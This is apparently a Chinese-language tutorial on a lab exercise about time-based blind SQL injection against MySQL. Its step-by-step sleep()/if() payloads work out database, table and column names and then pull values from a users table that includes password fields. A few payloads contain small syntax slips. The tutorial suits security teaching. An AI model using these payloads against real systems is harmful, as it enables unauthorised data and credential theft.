时间延时注入:

该题对 id 进行了 “ 的处理,故使用 ?id=1”

时间延时 sleep 函数:

-在mysql下,sleep的语法如下:sleep(seconds)即sleep函数代码执行延迟若干秒

-sleep()函数执行是有条件的,必须保障sql语句执行结果存在数据记录才会停止指定的秒数,如果sql语句查询结果为空,那么sleep函数不会停止

观察以下语句

第一个语句:sleep函数设置查询停留3s, sleep函数本身返回值为0,显示查询时间为3s

第二个语句:语句最后加上and 1=2 形成查询逻辑错误,sleep函数不执行暂停,因此查询时间为0s

1.png

基于时间盲注if函数

[

](https://blog.csdn.net/m0_51428325/article/details/121357834)
基于时间盲注if函数

  1. ifexpr1expr2expr3 如果expr1为真,则if函数执行expr2语句,否则if函数执行expr3语句
  2. select user from users where uer_id=1 and1=if(ascii(substr(database(),1,1))>1,sleep(5),1);

此处 如果条件ascii(substr(database(),1,1))>1成立则执行sleep(5),否则执行1

该题的步骤:

获取数据库长度?id=1" and if(length(database())=1,sleep(5)) --+
数据库长度.PNG
BurpSuite 的使用跟盲注的一样

爆破数据库名字符: ?id=1" and if(substr(database(),1,1)='a',1,sleep(5)) --+

获取数据库表的数量: ?id=1" and if((select count(*) from information_schema.tables where table_schema="security") = 1,sleep(5),1) --+

判断数据库表的长度: ?id=1" and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=1,sleep(5),1)--+

爆破数据库表名字符: ?id=1" and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a',sleep(5),1) --+

获取到的数据库表: email referers uagents users

爆破表的字段数: ?id=1" and if((select count(*) from information_schema.columns where table_name="users")=1,sleep(5),1) --+

获取字段名字的长度: ?id=1" and if(length((select column_name from information_schema.columns where table_name="user" limit 0,1))=1,sleep(5),1) --+

获取字段名: ?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_name="users" limit 0,1), 1,1))=1,sleep(5),1) --+

获取到的字段名: user CURRENT_CONNECTIONS TOTAL_CONNECTIONS id username password

爆字段值: ?id=1" and if(ascii(substr((select name from security.users limit 0,1), 1, 1))=1,sleep(5),1) --+